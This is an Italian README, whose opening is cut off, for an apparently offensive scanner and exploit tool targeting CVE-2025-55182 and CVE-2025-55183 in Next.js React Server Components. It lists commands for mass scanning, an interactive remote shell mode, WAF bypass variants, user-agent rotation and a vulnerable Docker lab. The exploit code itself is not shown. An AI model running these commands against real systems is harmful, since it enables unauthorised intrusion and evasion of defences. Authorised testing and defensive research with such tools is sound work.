
una vulnerabilità critica di Remote Code Execution (RCE) nei React Server Components (RSC). Include anche un "Ambiente di Laboratorio" realistico per testare e comprendere in sicurezza la vulnerabilità.
Questo repository contiene uno strumento di scansione per CVE-2025-55182 (RCE) e CVE-2025-55183 (Divulgazione del codice sorgente) in Next.js React Server Components (RSC).
Questo strumento è solo per scopi educativi e di test autorizzati. Non utilizzare questo strumento su sistemi di cui non possiedi o non hai esplicito permesso di testare. Gli autori non sono responsabili per qualsiasi uso improprio.
Per un'analisi tecnica dettagliata, fare riferimento a: https://react2shell.com/
pip3 install -r requirements.txt
Verifica se un URL di destinazione è vulnerabile.
python3 CVE-2025-55182.py -u <url>
Scansiona un elenco di host da un file (uno per riga).
python3 CVE-2025-55182.py -l <hosts_file>
Ottieni una shell interattiva su una destinazione vulnerabile.
python3 CVE-2025-55182.py -u <url> --exploit
Verifica se una destinazione perde codice sorgente tramite Server Actions.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
Utilizza il rilevamento tramite canale laterale (basato su temporizzazione/errori) invece di tentare RCE.
python3 CVE-2025-55182.py -u <url> --safe-check
Aggiungi dati spazzatura per bypassare l'ispezione del contenuto WAF o utilizza bypass specifici.
# Bypass WAF standard (dati spazzatura)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Variante di bypass WAF Vercel
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Intestazioni personalizzate
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Utilizzo proxy
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# User-Agent casuale e ritardo
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scansiona percorso specifico
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
Salva i risultati in un file in formato JSON, CSV o HTML. Il flag --all-results salva sia gli host vulnerabili che quelli non vulnerabili.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
È possibile eseguire un'istanza vulnerabile per i test utilizzando l'immagine Docker fornita:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
Interessato alla ricerca sulla sicurezza di Vercel? Consulta il nostro documento di ricerca collaborativa:
📄 VERCEL_RESEARCH.md - Una guida completa per:
Apri un issue con l'etichetta research per unirti alla discussione!
| Argomento | Descrizione |
|---|
-u, --url | Singolo URL/host da verificare. |
-l, --list | File contenente l'elenco degli host da scansionare. |
--exploit | Entra nella modalità shell interattiva (richiede -u). |
--nextjs-rsc-source-code-disclosure | Verifica la Divulgazione del Codice Sorgente (CVE-2025-55183). |
-t, --threads | Numero di thread concorrenti (default: 10). |
--timeout | Timeout della richiesta in secondi (default: 10). |
-o, --output | File di output per i risultati. |
--format | Formato di output: json, csv, html. |
--all-results | Salva tutti i risultati, non solo quelli vulnerabili. |
-k, --insecure | Disabilita la verifica del certificato SSL. |
-H, --header | Intestazione personalizzata nel formato 'Chiave: Valore'. |
--path | Percorso personalizzato da testare (es. '/_next'). |
--path-file | File contenente un elenco di percorsi da testare. |
--safe-check | Utilizza il rilevamento tramite canale laterale sicuro invece di un PoC RCE. |
--windows | Utilizza payload di PowerShell per Windows. |
--waf-bypass | Aggiunge dati spazzatura per bypassare il WAF. |
--waf-bypass-size | Dimensione dei dati spazzatura in KB per il bypass WAF. |
--vercel-waf-bypass | Utilizza il payload di bypass WAF di Vercel. |
--bypass-variant | Seleziona una variante di bypass WAF specifica (1-102) o 'all'. |
-x, --proxy | URL del proxy (es. http://127.0.0.1:8080). |
--random-agent | Utilizza un User-Agent casuale per ogni richiesta. |
--delay | Ritardo tra le richieste in secondi. |
-v, --verbose | Output dettagliato (mostra snippet di risposta). |
-q, --quiet | Modalità silenziosa (mostra solo gli host vulnerabili). |
--no-color | Disabilita l'output colorato. |